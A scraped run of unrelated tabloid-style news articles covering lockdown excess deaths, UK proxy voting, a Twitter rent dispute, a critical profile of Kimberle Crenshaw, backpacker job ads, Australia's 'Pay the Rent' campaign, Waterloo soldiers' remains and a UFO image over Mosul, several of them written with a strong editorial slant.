They found that anywhere from 25 to 33 percent of non-Covid deaths during the first two months of the pandemic were caused by missed appointments. This is because people missed surgeries, screenings and other necessary treatments.

California has suffered the most excess deaths from reasons other than Covid despite its strict pandemic lockdown and mask orders

The US recorded more excess deaths than much of western Europe, including Sweden, despite the country's lockdown orders early in the COVID-19 pandemic

Dr Steve Hanke (pictured), an economist at Johns Hopkins, found that lockdowns only saved around 10,000 lives across the US and Europe

Dr Steve Hanke, an economist at the Baltimore, Maryland, school, found the strict Covid protocols in early 2020 saved 10,000 lives across the US and Europe.

He led research into the true impact of lockdowns alongside researchers from Sweden and Denmark, finding the devastating policies only reduced Covid mortality 0.1 percent.

'The lockdown study found that lockdowns in the spring of 2020 had a negligible effect on Covid mortality,' Dr Hanke told DailyMail.com.

According to a 2022 analysis led by Johns Hopkins University researchers, shuttering businesses also did little to prevent deaths.

'Our meta-analysis includes studies that employ two different methods. Depending on the method employed, lockdowns resulted in between 6,000 and 23,000 deaths avoided in Europe; whereas, there are approximately 72,000 flu deaths in Europe each year.'

In California, major cities such as Los Angeles and San Francisco repeatedly instituted mask orders, curfews and other lockdown measures throughout the pandemic. The Golden State recorded 33,730, the most of any state by a large margin.

Florida Gov Ron DeSantis, on the other hand, vigorously opposed Covid measures and even banned some vaccine checks and mask orders in his state.

Despite the more lax Covid policies, Florida recorded 20,000 non-Covid excess deaths, far less than California.

America has suffered a larger increase in cumulative deaths than many of its peers.

As of November 27, the most recent data available from OurWorldInData, America had suffered 14 percent more deaths than expected since January 1.

This is higher than the UK (ten percent more deaths than expected) and Spain (11 percent), both countries that were more friendly to lockdowns than the US.

It is also higher than Sweden (five percent), a nation that famously opted against implementing strict Covid orders when the pandemic first began.

While whether the lockdowns may have saved lives is still up for debate, experts point out the devastation the policy had on economies worldwide.

'The lockdowns were an obvious economic wrecking ball,' Dr Hanke said.

'Following lockdowns, GDP plummeted and bankruptcies increased. Excess deaths resulting from mortal conditions going undiagnosed and untreated increased.

'Children lost face-to-face learning which slowed down their accumulation of skills and reduced productivity. The World Health Organization estimates a 25 percent increase in anxiety disorders during the first year of the pandemic.

'Large segments of national workforces left their employment, never to return.'

The International Monetary Fund estimated a three percent drop in global GDP caused by lockdowns.

The 2009 Global Financial Crisis, known as one of the worst economic periods in generations, only recorded a 0.1 percent drop for comparison.

Of the nearly 300,000 excess non-Covid deaths, more than 10 percent occurred in California.

The Golden State recorded 33,730, the most of any state by a large margin. The Democrat-run state had strict lockdowns and mask orders that lingered for months in major metropolitan areas such as Los Angeles and San Francisco.
Millions more individual investors with holdings at DIY investing giant Hargreaves Lansdown will be able to vote and participate in annual general meetings more easily.

Hargreaves Lansdown has partnered with Broadridge to bring online proxy voting to its 1.75million customers, as investors increasingly demand to have a say on ESG, executive pay and other issues.

While HL has always offered a voting service, until now clients had to manually identify relevant shareholder meetings and then phone HL to cast their instructions for manual processing.

The new online service, which follows similar moves by rival platforms eToro, AJ Bell and Interactive Investor, makes the process easier and quicker, according to Hargreaves Lansdown.

The service covers 5,800 tradeable equities - all UK and European shares on the HL platform

From November 2021, Interactive Investor made all its customers able to vote at AGMs as the default setting.

Tom Lee, head of trading proposition at HL, said: 'Retail investors are taking a keener interest in having the power to influence corporations on important issues such as board diversity, climate change and sustainability.

'Providing a new digital capability for this self-service system gives retail investors a greater say in the governance of the companies in which they hold shares and the democratisation of markets.'

Companies ask shareholders to vote on things like the board of directors, approving dividends and how the company is run.

The vast majority of UK shareholders would like to attend an AGM but nearly half are excluded because of widespread nominee account share ownership, which is how most investment platforms work.

The new service covers 5,800 tradeable equities, which is all UK and European shares on the HL platform.

However HL still does not allow voting on US holdings. This is because the shares are usually packaged into a vehicle called Crest Depository Interest, which gives exposure to an overseas security.

The US CDIs that are held through Hargreaves do not have voting rights.

Investors need to log in to their account using HL website - the service is not available through the app.

On the website, HL customers can click 'view shareholder meetings' and provide a voting instruction through Broadridge.

Votes are placed per account, which means that if investors hold a stock in Isa, Sipp and Fund and Share Account, three separate votes can be placed.

HL clients can also register to attend shareholder meetings using this service.

HL said investors are taking a keener interest in having their say on important issues like climate change, board diversity and sustainability

DIY investing platform eToro was the latest to launch a similar service, also in partnership with Broadridge, in November last year.

Interactive investor and AJ Bell have been allowing clients to cast votes online and book their place on companies' meetings for longer.

Interactive Investor said it saw a 30 per cent annual increase in the number of votes processed to 210,801 in 2022.

AGM attendance, as measured by the number of unique accounts requesting letters of representation, doubled. But it added that 'this was from a very low base'  720 letters were sent in 2022, up from 359 in 2021, 263 in 2020, and 651 in 2019.

It said: 'This emphasises the challenge UK PLC and the wider platform industry face if AGMs are to gain broader engagement.'

The desire to have a say on environmental, social and governance issues is also compelling more investors to vote.

Demi Derem, general manager at Broadridge, said: 'Retail investor ESG requirements have changed.

'Having a say in how the companies they invest in operate has become a big deal. Subsequently shareholder voting functionality has never been more important.

'We're proud to be working with Hargreaves Lansdown, to offer their investors an enhanced proxy voting experience.

'Increasing retail investor participation is part of our ongoing mission to drive greater shareholder participation and improve overall standards around corporate governance.'
Twitter is being sued by the Crown Estate over an alleged failure to pay rent at its London headquarters.

The estate overseeing the Kings property portfolio has brought a claim against the social media giant in the High Court.

A spokesman for the estate said the dispute was related to Twitters West End headquarters.

Rent row: The Crown Estate has brought a claim against the social media giant in the High Court. It is believed to be over its first floor office in Picadilly Circus (pictured)

The offices are believed to be over its first-floor office in the Piccadilly Circus site, which Twitter has occupied since 2014.

The groups signs and logos have been removed from the building, but an employee told The Daily Telegraph the company still had a presence in the building.

Earlier this month Twitter staff at its Singapore office were told to work from home after the company was reported to have fallen behind on rent.

It is the latest legal headache for the company since Elon Musks disastrous 38billion takeover in October, days after which he axed half of Twitters 7,500 employees.

Former Twitter staff in the UK are also taking legal action against the company, claiming they were unlawfully dismissed during mass job cuts following the deal.

London law firm Winckworth Sherwood has accused Twitter of unlawful, unfair and completely unacceptable treatment.

Twitter was asked to comment.

The dispute also comes as Twitters daily revenues sit 40 per cent lower than a year ago as a slew of advertisers have paused spending since the Tesla tycoons takeover.
When Kimberle Crenshaw first unveiled critical race theory to a small group of fellow academics in 1989, little did she know that over 30 years later it would pit parents against teachers across America.

Prof Crenshaw, 63, also can't have known just how much she would stand to gain financially and professionally from her theory and its toxic effect.

It turned her into a superstar of academia and activism. Now she earns at least $450,000 a year from teaching positions at UCLA and Columbia and up to $100,000 from delivering speeches  not to mention possible income from her own think tank and podcast.

The divisive theory, through which America's history is seen as racist, centers on the idea that racism is systemic in the nation's institutions and that they function to maintain the dominance of white people in society.

It has turned schools into battlegrounds as outraged parents fight to stop their children being indoctrinated, while the GOP has legislated against it.

Professor Kimberle Crenshaw and actress Kerry Washington attend V-Day Cocktails and Conversation with Eve Ensler at Soho House in West Hollywood, California in 2012

'It was how to think, how to see, how to read, how to grapple with how law has created and sustained raceour particular kind of race and racismin American society,' Crenshaw told Vanity Fair in 2021 of the seminal brainstorming session where she first floated the theory.

She gave the interview to the prestigious magazine from her spacious UCLA office, where she teaches the theory to the next generation of lawyers and policymakers while earning $127,886 a year.

Befitting a legal scholar of her standing, Crenshaw also holds down another job on the opposite coast at Columbia, where she is paid an estimated $217,328 - with the possibility of an additional $89,856 bonus - to spread the word.

Somehow she also finds the time to run the African American Policy Forum and the Center for Intersectionality and Social Policy Studies, where she is the co-founder and executive director.

It is unclear exactly how much Crenshaw earns from the AAPF, but a Director of Communications earns $120,000. As the executive director she might be expected to earn similar if not more.

The AAPF is the forum through which Crenshaw runs a summer school to teach CRT to teachers - despite parents widely despising the theory and implausible protestations from the leftwing teaching establishment that it is not on the curriculum.

She also has her own podcast - called Intersectionality Matters! - which to date has 52 episodes.

And if that were not enough, she is a prolific writer - publishing or editing at least 18 works - and last year spent weeks protesting GOP bans of explicit and racist books in schools.

While her fervent belief in America's deep-rooted racism and that classrooms are a legitimate battleground cannot be disputed, it is instructive to note quite how much Crenshaw has made from pushing her pet theory. Pictured: With Rev Jesse Jackson in 2022

Perhaps that is why she charges up to $100,000 to deliver a speech in person and $50,000 virtually.

Crenshaw is described on the All American Speakers website as a 'specialist on race and gender equality' and a 'leading voice in calling for a gender-inclusive approach to racial justice interventions'.

While her fervent belief in America's deep-rooted racism and that classrooms are a legitimate battleground cannot be disputed, it is instructive to note quite how much Crenshaw has made from pushing her pet theory.

However, despite the widespread condemnation Crenshaw is unbowed.

'It is far better that [CRT] is circulating and being used than if only 25 law professors have read it,' she told The Guardian in 2020.

She explained that her parents had started calling her a lawyer from the age of six  with her father joking 'dont let her get a word in edgewise, when she starts to talk, you will not know what you were trying to say'.

Born in Ohio, Crenshaw described growing up and going to a new Christian school  where a teacher would portray black activists as 'demons'.

Crenshaw now offers two classes: Critical Race Methods: Practices, Prisms and Problems at Columbia and Civil Rights at UCLA. Pictured: With Jane Fonda in 2004

Crenshaw founded the African American Policy forum, for which she is the executive director, and created the CRT Summer School

Crenshaw speaks to Minyon Moore, an outside adviser to Vice President Kamala Harris, every monday. The pair held a Facebook Live meeting last year, alongside former acting Chair of the Democratic National Committee Donna Brazile and Kamala Harriss former chief of staff, Tina Flournoy

She claims that she put her hand up to say that her brother was a protestor, but was sent to the principal's office before begging her mother to take her out of the school.

After Canton McKinley High School, Crenshaw attended Cornell - where she was a member of the Quill and Dagger secret society for top students  and graduated with a bachelors degree in government and Africana studies.

Then on to Harvard where she received a JD from Law School in 1984, before gaining a Masters of Law degree from the University of Wisconsin.

Her first job was as a law clerk for Wisconsin's first female Supreme Court Justice Shirley Abrahamson.

The 1989 paper that would come to define her career, and later send shockwaves through education, was opaquely entitled Demarginalizing the Intersection of Race and Sex and was published in the University of Chicago Legal Forum.

It brought to the world her theory of intersectionality, of which CRT is a component, which describes how race, class, gender and other characteristics can 'intersect' and compound one another.

Critics point out that it creates 'a new caste system' that puts nonwhite, non-heterosexual people on top.

CRT has turned schools into battlegrounds as outraged parents fight to stop their children from being indoctrinated, while the GOP has legislated against it. Pictured: Crenshaw with Larry King in 2014

Colored Girls with Kimberle Crenshaw Colored Girls in Conversation with Kimberle Crenshaw Posted by The Colored Girls on Sunday, January 16, 2022

Research released last October found that nearly all of America's schoolkids have studied or picked up critical race theory in class. Pictured: With Viola Davis and Roxanne Gay in 2022

Its success only enhanced her standing at UCLA and Columbia, two colleges she had worked at since 1986.

Crenshaw now offers two classes: Critical Race Methods: Practices, Prisms and Problems at Columbia and Civil Rights at UCLA.

She will spend just one week teaching her class at Columbia in January from 11am until 4pm.

Crenshaw is also given free accommodation at a luxury apartment complex just minutes from Columbia.

It is unclear how often she teaches her class at UCLA but she is described as 'splitting her time' between the two faculties.

In 2020, in the wake of nationwide protests over the killing of George Floyd and Breonna Taylor, Crenshaw's organization - the AAPF - launched a push to educate teachers about CRT.

Students, teachers, activities were able to access five days of courses covering a 'range of issues' with 600 people enrolling in the summer school for 2021.

Crenshaw herself led a discussion on intersectionality, with a limited number of scholarships offered to those who could not afford the school.

Crenshaw herself led a discussion on intersectionality, with a limited number of scholarships offered to those who could not afford the school

The theory, through which America's history is seen as racist, centers on the idea that racism is systemic in the nation's institutions and that they function to maintain the dominance of white people in society. Pictured: With Gina Prince-Bythewood in 2022

Those who attended from a public company were asked to pay $1,000, with the cost ranging from $75 for an undergraduate or graduate student to $500 for a large non-profit.

She hit back at claims that teachers and pupils are being 'indoctrinated' with CRT, telling Democracy Now: 'There's no daylight between the protection of our democracy and the protection of antiracism.

'So, what we're fighting now, and what some of those teachers are fighting, is the effort to silence all recognition, all conversation, all tools, all histories, all of the current consequences of our past.'

CRITICAL RACE THEORY: WHAT DOES IT MEAN? The fight over critical race theory in schools has escalated in the United States in recent years. The theory has sparked a fierce nationwide debate in the wake of the Black Lives Matter protests around the country over the last year and the introduction of the 1619 Project. The 1619 Project, which was published by the New York Times in 2019 to mark 400 years since the first enslaved Africans arrived on American shores, reframes American history by 'placing the consequences of slavery and the contributions of black Americans at the center of the US narrative'. The debate surrounding critical race theory regards concerns that some children are being indoctrinated into thinking that white people are inherently racist or sexist. Those against critical race theory have argued it reduces people to the categories of 'privileged' or 'oppressed' based on their skin color. Supporters, however, say the theory is vital to eliminating racism because it examines the ways in which race influences American politics, culture and the law. Advertisement

Crenshaw is part of a network of activists pushing CRT. Every Monday she speaks to Minyon Moore, an outside adviser to Vice President Kamala Harris who was selected by Joe Biden to pick the first black Supreme Court Justice.

Moore is listed as part of the Black Lives Matter Global Network Foundations board of directors in the charity's filings.

The pair held a Facebook Live meeting last year, alongside former acting Chair of the Democratic National Committee Donna Brazile and Kamala Harriss former chief of staff, Tina Flournoy, in which Crenshaw advocated for CRT.

'These right wing moms dont want their kids to have to listen to the trauma our kids experience. Their comfort is more important than confronting the realities of our lives,' Crenshaw said.

'We have to make it costly for those who we elected to be silent.

'Part of what we have to do is give them, and I know that youve been working on this for the last year  to give people the right talking points and the weapons - because theyve taken the work to weaponize us, and we have to take it back.'

Crenshaw did not respond to a request for comment from DailyMail.com.

Research released last October found that nearly all of America's schoolkids have studied or picked up critical race theory in class.

Millions of schoolchildren learn about everything from 'white privilege' to 'systemic racism' and 'unconscious bias' in class, found the Manhattan Institute, a right-wing think tank with a record of spotlighting CRT.

A poll found that 93 percent of respondents, aged 18-20, had learned about at least one aspect of the controversial racial justice theory in schools.

Report author Zach Goldberg said the findings were 'disturbing' and stood in stark contrast to claims from some teacher groups that CRT was not taught to high schoolers, but was confined to university law courses.

The theory has infuriated white parents who do not wish their children to be taught that they are effectively racist - and black parents who object to their children being taught that they are victims.

So far seven states have banned CRT from classrooms and 16 are considering a ban.

Last April Ron DeSantis signed the 'Individual Freedom' bill outlawing CRT. It prevents educators from teaching topics related to race and is designed to prevent teachers from making students feel guilt or shame about their race because of historical events.

'We believe in education, not indoctrination,' DeSantis said.

'We believe an important component of freedom in the state of Florida is the freedom from having oppressive ideologies opposed upon you without your consent.'

No doubt Crenshaw will take the seismic shockwaves and convulsions that have gripped America, unleashed by her theory, as validation.

But the society that she so appears to dislike and depict as racist, is also one that has allowed her to become wealthy and live a coast-to-coast jet set lifestyle with all the trappings. Her stock among the 'wokerati' and top liberal political class keeps rising. Her notorious theory is known by virtually everyone.

It is a thought she would immediately dismiss, but perhaps America - far from being the racist hellscape she describes - has been too indulgent and generous to Professor Crenshaw?
A woman has complained that backpackers who post 'sexy' photos of themselves in job applications get more attention from potential employers.

Chloe Belle wrote a scathing rant on the Backpacker Jobs in Australia Facebook page on Sunday night.

'After following this page for sometime it's sad to see that those who are better looking, and post pictures with more skin visible are getting more responses from employers,' Ms Belle said.

'Last time I looked, you didn't need to look like a model to put on some wellies and get down and dirty in a farm or an orchard.'

A backpacker, Chloe Belle (pictured), has complained that fellow travellers who post 'sexy' photos get more attention from employers

Chloe Belle posted the message to the 'Backpacker Jobs in Australia' group (pictured)

'It is a real shame that those whom post more revealing or provocative pictures would have a lot more responses from potential employers on the Facebook page,' Ms Belle told Daily Mail Australia.

'The competitive nature of having jobs that require no experience and a constant flow of backpackers make it hard to be taken seriously.

'Employers know there will always be another person to fill the role.'

'I am a strong believer of if you've got it, flaunt it but put simply, a job board is not the right place.'

But Ms Belle believes employers are to blame for encouraging the behaviour.

'We are talking 3-5 likes on a basic advertisement of a job search, and 50+ on those to provoked the onlookers the right way,' Ms Belle said.

'I have been offered over 25+ jobs following my post, however one week prior I posted a short spiel and a smiling headshot which procured me 2 job offers.'

Ms Belle's post sparked a lively discussion.

'Been thinking it, glad someone else said it,' one user commented.

'I choose someone who can do the job. Someone who looks and poses like a model isn't likely to want to fix fences and catch goats to vaccinate,' one employer wrote.

'I scroll past all the ads with people in bikinis, partying, or posing artfully laughing at the sky. If that's what they think is appropriate they aren't suited to our needs,' another employer wrote.

Shortly after Ms Belle's post another job seeker was sharply criticised for posting a photo of her in a bikini while looking for work.

'Would you go to a job interview in a bikini? No, so why would you apply on Facebook with inappropriate photo?' another user asked.
Aboriginal people would also pay, if they own property

Homeowners could pay one per cent of their weekly wages

Australian property owners have been urged to start paying a weekly 'rent' tax to indigenous groups based on their ancestral claim to the land.

Under the 'Pay the Rent' model proposed by a campaign of the same name, and backed by celebrities, homeowners would voluntarily pay a percentage of their income to a body led by Aboriginal elders and administered without any government oversight or intervention.

One per cent of weekly wages is the level suggested by Robbie Thorpe, a veteran Aboriginal rights activist from Melbourne who ran a similar scheme in Fitzroy in the 1990s.

Government statistics from last August that say the median Australian employee's earnings were $1,250 per week.

Australian property owners have been urged to start paying weekly 'rent' to the traditional owners of the land their homes were built on ahead of Australia Day

Luke Currie-Richardson says the 'Pay the Rent' would work as a type of land tax, based only on those Australians who own property paying rent to the traditional owners of that land

So spread evenly, all Australian wage earners could pay a median 'rent' of $12.50 a week, adding up to $650 a year.

The scheme could then be extended further to all users of the land - people having weddings or holding concerts would also be encouraged to hand over money.

Mr Thorpe told media the rent scheme is 'a rational, reasonable, responsible means of reconciling 200 years of unchecked genocide, as far as I'm concerned'.

The 'Pay the Rent' tax could apply to Indigenous people too. Anyone who owns property would pay because it would operate as a form of land tax.

Supporters of the scheme include feminist author Clementine Ford and high-profile Greens senator and activist Lidia Thorpe.

'We need to stop paying lip service to decolonisation and start paying the rent to the first nations people,' Ford said.

Thorpe said: 'Pay the rent from grassroots for grassroots. No strings attached to government agenda. It assists sovereign grassroots fight the many campaigns and struggles we face everyday.'

The organisers of a website which already collects this type of rent for traditional owners in Victoria, say the scheme could go further than taxing homeowners.

Australians could also pay extra rent for use of land that one-off events are held on such as weddings to festivals.

Rents for wedding could be calculated at one per cent of the total cost of a wedding, paytherent.net.au says.

With the average Australian wedding costing $54,000 to run, local traditional owners could receive a rent payment of $540 for each wedding.

When a music festival is held, the organisers could pay one per cent of the total income collected as rent.

The organisers of a website, which already collects this type of rent for traditional owners in Victoria, says the scheme could go further than taxing homeowners

'Pay the Rent' was developed as a policy by the National Aboriginal and Islander Health Organisation (NAIHO). Pictured above, a NAIHO document

The intention is the money collected could cover extra costs Indigenous people have for health, education and housing and reduce the need for government handouts.

Many consider it a solution to the unpopular and unsuccessful default practice of giving government 'handouts' to people in struggling communities.

Collecting rent for Aboriginal people based on the fact their ancestors claim historical ownership is not a new idea.

It a rebirth of the 'Pay the Rent' plan which has been around for more than 50 years.

Since the 1970s there have been repeated calls by indigenous activists for non-Aboriginal Australians to pay the rent to local landowners.

Mr Thorpe's Fitzroy 'Pay the Rent' group received payment from non-Aboriginal people who passed it on to their Aboriginal counterparts, who then used and distributed the funds as they saw fit.

Eventually it was developed as a policy by the National Aboriginal and Islander Health Organisation (NAIHO).

Both schemes eventually fell by the wayside.

But in recent years a new generation of activists are promoting 'Pay the Rent', including Lidia Thorpe.

Collecting rent for Aboriginal people based on the fact they owned it before settlers is not a new idea. It has been discussed since the 1970s.

A Pay the Rent scheme operated in Fitzroy during the 1990s

Another is Luke Currie-Richardson, 30, a a descendant of the Kuku Yalanji and Djabugay peoples and former dancer with the Bangarra Dance Company.

Mr Currie-Richardson says the current model of 'Pay the Rent' would work as a type of land tax, based only on those Australians who own property paying rent to the traditional owners of that land.

'[With] those funds, we can fund our own health, our own education, our own housing,' Mr Currie-Richardson said.

He believes January 26 is an appropriate time for people to consider the choices they have to make a difference - and signing up to recurring 'Pay the Rent' instalments is one way of doing that.
Advertisement

The remains of ten British and Prussian soldiers who were killed at the Battle of Waterloo have been found after lying for decades in private Belgian homes  and one skull even took pride of place in an old woman's living room.

The incredible discovery, exclusively revealed in the UK by MailOnline, is all the more remarkable because only two skeletons have ever been found at the site of the Duke of Wellington's 1815 triumph over Napoleon's forces.

Bombshell findings revealed by MailOnline last August showed the absence of remains was likely because most of the bones belonging to 20,000 men and tens of thousands of horses were ground down and used to filter brown sugar beet into refined white sugar from 1834 onwards.

Now, bones of what are believed to have been Prussian troops have been found in the attic of a home near the village of Plancenoit, where the bulk of British-led troops clashed with the French more than 200 years ago.

Their owner, a former local official, had been given them by workmen who found them during construction work in 1982. One of two skulls, which was then given as a souvenir to a neighbour who displayed it in her living room, bears horrific damage, with a tooth having been driven into the victim's jaw, possibly by a bayonet thrust.

Both skulls have been filmed from every angle, allowing users to examine them in high-definition 3D.

Four British soldiers' remains were discovered soon after in the home of a metal detectorist in Plancenoit. They were taken illegally from the battle site decades ago. All the bones, which make up the largest contingent of casualties found in modern times, are now safely in the hands of experts.

The remains of ten British and Prussian soldiers who were killed at the Battle of Waterloo have been found after lying for decades in private Belgian homes - and one skull even took pride of place in an old woman's living room. Above: The skull of what is believed to have been a Prussian soldier. The man was hit in the face with a blade and received a hard blow to his jaw which drove one of his teeth into his face

How bones of 20,000 British and French soldiers were ground down and used to make white sugar This illustration shows the sugar beet factory and refinery that was set up just three miles from the Waterloo battle site Advertisement

Until the initial discovery last year, only two skeletons had been found at the site despite decades of excavations.

A research team, led by respected historians Dr Bernard Wilkin and Robin Schafer, along with archaeologist Professor Tony Pollard, from the University of Glasgow, presented extensive evidence  including contemporary written accounts  that showed bones from the battlefield were plundered from 1834 onwards and likely used for Belgium's burgeoning sugar industry.

Some of this sugar could also have ended up in Britain, for use in the production of sweet treats or to sweeten tea and coffee.

The researchers were initially made aware of the existence of the new bones by a history student when they were presenting their sugar beet findings at the end of last year.

Mr Schafer told MailOnline how they were asked by the student if they knew of 'someone who had two dead Prussians in his attic'.

Whilst sceptical, Dr Wilkin investigated further and was then put into contact with the former official who had the bones.

The individual, who has not been identified, simply stored the human remains in bags in his attic, where they remained for 40 years.

However, he did give one skull to a woman who lived nearby. The neighbour, who is now elderly, reluctantly gave it up to be examined, but is said to want it back once the researchers are finished with it.

The bones, as well as a shoe and other objects found with them, were then taken first to the Belgian State Archives in Liege so they could be properly examined.

They are now undergoing further tests at the Forensic Institute of the University of Liege.

The shoe gives experts one indication that the bones are most likely Prussian, because it bears stitching and a hobnail pattern that was not used by French troops.

Skull fragments from what are believed to have been British troops are seen during transit to the Natural History Museum in Brussels

Some of the fragments of bones - which belonged to a total of six British soldiers - are seen above laid out as they are examined

Bones from British troops are seen at the Natural History Museum in Brussels, where they are being examined by experts

Coxals and sacra of the bodies discovered at Plancenoit show that the find of what were likely Prussian soldiers consists of the bones of at least four individuals

The bones offer a fascinating insight into the life of Napoleonic soldiers. This man will have suffered greatly from a dental abscess.

After four decades in a Belgian attic, boxes of bones of what appear to be Prussian soldiers killed during fighting for the village of Plancenoit, part of the Battle of Waterloo in 1815, have been recovered by a Belgian-German team of historians

Remains of the British soldiers during their transport to the natural history museum in Brussels. They were initially found through illegal metal detecting

Professor Philippe Boxho, director of the Forensic Institute of the University of Liege pointing out the severe facial trauma suffered by one of the casualties found on the Prussian side of the Waterloo battlefield

Several vertebrae of the skeletons discovered at Plancenoit show signs of trauma caused by edged weapons, proof of the ferocity of the merciless close-quarters street fighting between Prussian and French troops. The vertebra shown here displays two deep cuts, likely made by a sword or bayonet

And whilst the bones' owner had believed they belonged to two men  because of the presence of just two skulls  Dr Wilkin's team discovered that they in fact belonged to four individuals.

Until now, no remains of Prussian troops  who fought on Britain's side with other states that also included the Netherlands  had been found.

The Prussian army had a decisive contribution in the British victory at Waterloo, with their timely arrival in the battle helping to defeat Napoleon.

Forensic and anthropological work is being carried out by Professor Philippe Boxho from the University of Liege and Mathilde Daumas from the University of Brussels.

Professor Boxho's examination revealed how the men died 'very violently', Mr Schafer said.

'We have one who was hit in the face with a blade. It cut very deeply into the skull. That didn't kill him. And then he got a really hard blow into his upper jaw.

'That blow was so hard that one tooth was driven upwards into the jaw,' the historian added.

'That probably also didn't kill him. We have got one spine with two sword cuts and at least one stab mark. They are all badly lacerated.

'They didn't have a peaceful death. That makes them symbols for how brutal this war was. They really speak a language.'

The 3D renderings of the two Prussian skulls were put together by university student Toby Monks.

The bones are soon set to undergo DNA testing and experts will also look at their strontium isotope composition to try to shed more light on the men who died.

Strontium  a naturally occurring metal  is absorbed by plants from the ground where they grow.

It is then absorbed by the person eating them, meaning that experts may be able to confirm where each soldier was from  because their bones would have different 'signatures' depending on their strontium isotope composition.

Around two weeks after the Prussian bones were collected from Plancenoit, the former local official said word had had spread in the village, prompting another resident to come forward with a collection of English bones.

The experts found that they had been taken illegally from the battle site after a small cannon ball lying in the ground with the remains triggered the man's metal detector.

Remains of the British soldiers recovered on the Waterloo battlefield. They are undergoing analysis at the Natural History Museum in Brussels

Professor Philippe Boxho, director of the Forensic Institute of the University of Liege during a first, quick visual examination of the recovered Prussian bones

The two Prussian skulls are seen laid out on a table. The damaged one spent years in the living room of a resident in Plancenoit

Mr Schafer said: 'While he was going down to get the cannon ball he came across human remains. He picked everything up and bagged them but he couldn't tell anyone because he dug illegally.

'But that somehow weighed on his conscience. So he used the info, got in touch with the old gentleman who got in touch with Dr Wilkin.'

The bones, which are in a much worse condition than those of the Prussian dead, were initially thought to belong to two or three Englishmen.

But after examination at the Natural History Museum in Brussels by archaeologist Dominique Bousquet, they were found to be of six men.

As well as skull fragments, there are the remnants of leg bones. They have been heavily damaged by decades of ploughing.

An object collected with the bones has helped to identify at least one of the men as having been a member of the First Foot Guards.

But unlike the Prussian bones  which are better preserved  the British remains are said to be too broken up to undergo DNA testing.

Asked about the significance of the discoveries, Mr Schafer, who is German, said: 'The reason we have a liberal democratic Germany, the basis for that was made in the struggle to fight off the French in 1815.

'That was the cradle of the German nation, when different states in what is now Germany acted together. They had this common enemy.

'It is the cradle of modern Germany. These bodies link very much to this. In addition they are massively important because they now offer a large mass of material to do research on, on people who fought in that battle.

'We suddenly have ten individuals, and we can try to find out who they were, where they came from, how they died, how they lived. There is a large body of bones that allows us to do research.'

He added: 'It might be something where the British and the Germans can once again stand together, get these people buried as brothers in arms.

'You hear stuff like that all the time. It is always not true. When it turned out to be true, it was quite something.'

Napoleon abdicated as French emperor on June 22 1815, four days after his defeat at Waterloo. Fierce fighting continued until September, when the last bastion of French resistance crumbled.

The Napoleonic Wars then formally ended after the Second Treaty of Paris in November 1815.

After scientists and other experts have all the data they need from the bones, they will receive a formal burial, if funds and land can be found.

Historian Dan Snow, who is making a documentary about the remains for streaming platform History Hit, said: 'Waterloo was one of the bloodiest battles in European history, yet until now only two bodies have ever been found on the battlefield.

'The discovery of these human remains, from places on the battlefield where the fighting was fiercest is a stunning opportunity to learn more about the men who fought here.

'A chance to highlight the individual experience, the grim, violent reality, in telling the story of the battle where too often that story is lost.

'This is a huge find for anyone who cares about military history, and those who fought and died, and shaped our world. We're honoured that History Hit gets to be part of documenting the discovery.'

To read more about the new discovery, head to http://irontime.substack.com/.
The sighting in a conflict zone where the US military is operating has sparked security and safety concerns at the Department of Defense

It was obtained by journalists Jeremy Corbell and George Knapp, who have released the image on their new UFO podcast, 'Weaponized'

DailyMail.com has exclusively obtained an image of a 'metallic' orb flying over Mosul, Iraq in April 2016, from footage taken by a US intelligence-recon plane

DailyMail.com obtained an exclusive image of a metallic-looking orb flying over an Iraqi city, caught on video by a US spy plane.

The image, captured in April 2016 by an intelligence-reconnaissance plane, was included in a classified briefing video on UFOs shown to multiple US government agencies.

The briefing video describes it as a 'short clip of an unidentified flying orb that appears to have a metallic shine on its surface', and shows the strange object flying over the city of Mosul in northern Iraq with the background of the shot showing the streets below.

It is the first publicly revealed image from the US government's ongoing UFO investigation showing an unidentified craft over a conflict zone.

A UFO flying around where the US military is operating has sparked security and safety concerns at the Department of Defense, with military officials worried it could endanger pilots and ground troops.

An image obtained exclusively by DailyMail.com of what appears to be a metallic-looking orb flying over Mosul, Iraq in April 2016, was included in a classified briefing video on UFOs shown to multiple US government agencies (image credit: DoD/Jeremy Corbell)

One intelligence source said the video was sent to the Joint Base Langley-Eustis in Virginia, where imagery and electronic signals intelligence experts studied it for United States Central Command (CENTCOM)

Although the image itself is not classified, footage from which the image was captured was part of a classified briefing produced by the Pentagon's Unidentified Aerial Phenomena Task Force (UAPTF), a unit tasked with investigating UFO incidents, which has now been replaced by another office in the Department of Defense.

It was obtained by journalists Jeremy Corbell and George Knapp, who have released the image on their new UFO podcast, 'Weaponized'.

The briefing describes and shows the UFO as moving from south to north, adding that it does not appear to descend.

In a four-second video titled 'Mosul Orb' included in the briefing, the UFO appears for one second as it flies alongside the MC-12 spy plane.

The photo was obtained by documentary filmmaker and investigative journalist Jeremy Corbell (pictured) and journalist George Knapp

Intriguingly, the object appears to have no apparent flight surfaces like wings, or discernible propulsion.

An intelligence source with operational knowledge of the footage said it was filmed using 'FMV [full motion video] by DGS-1'  implying that the plane sensors captured infra-red and other data when it filmed the UFO.

DailyMail.com understands that officials who assembled the briefing video believe the 'orb' was under intelligent control.

One intelligence source said the video was sent to the Joint Base Langley-Eustis in Virginia, where imagery and electronic signals intelligence experts studied it for United States Central Command (CENTCOM).

Despite being analyzed and studied by intelligence experts for over six years, the incident remains unexplained.

DailyMail.com can now reveal that the case formed part of the Office of the Director of National Intelligence (ODNI) Preliminary Assessment on UFOs, a report published in May 2021 which analyzed 144 cases and found an explanation for just one.

It comes a few months after the Office of the Director of National Intelligence (ODNI) published a second UFO report this month, which said it has analyzed 510 cases up to August 30, 2022

The ODNI published a second report this month, which said it has analyzed 510 cases up to August 30, 2022.

In October last year DailyMail.com revealed information from the classified version of this report sent to Congress.

One source who had seen the report described dozens of videos on classified servers showing metallic-looking orbs captured by US spy planes or drones in the Middle East  similar to the image released today.

'These drones operate 20-25,000 feet up in the air and they're flying around. We're keeping an eye on bad guys all over the world,' the source said.

'An operator will be zoomed in looking at a town in Syria. And all of a sudden, a little orb will go flying through the viewfinder.

'The operator's like, ''What the hell?'' And so he starts focusing on it and he just watches the orb for a while. We might get it for 30 seconds, we might watch it for 10 minutes. And then it will do something remarkable, like suddenly bolt off the screen.'

The image obtained by DailyMail.com was taken at 9:47am Coordinated Universal Time on April 16, 2016, according to its timestamp.

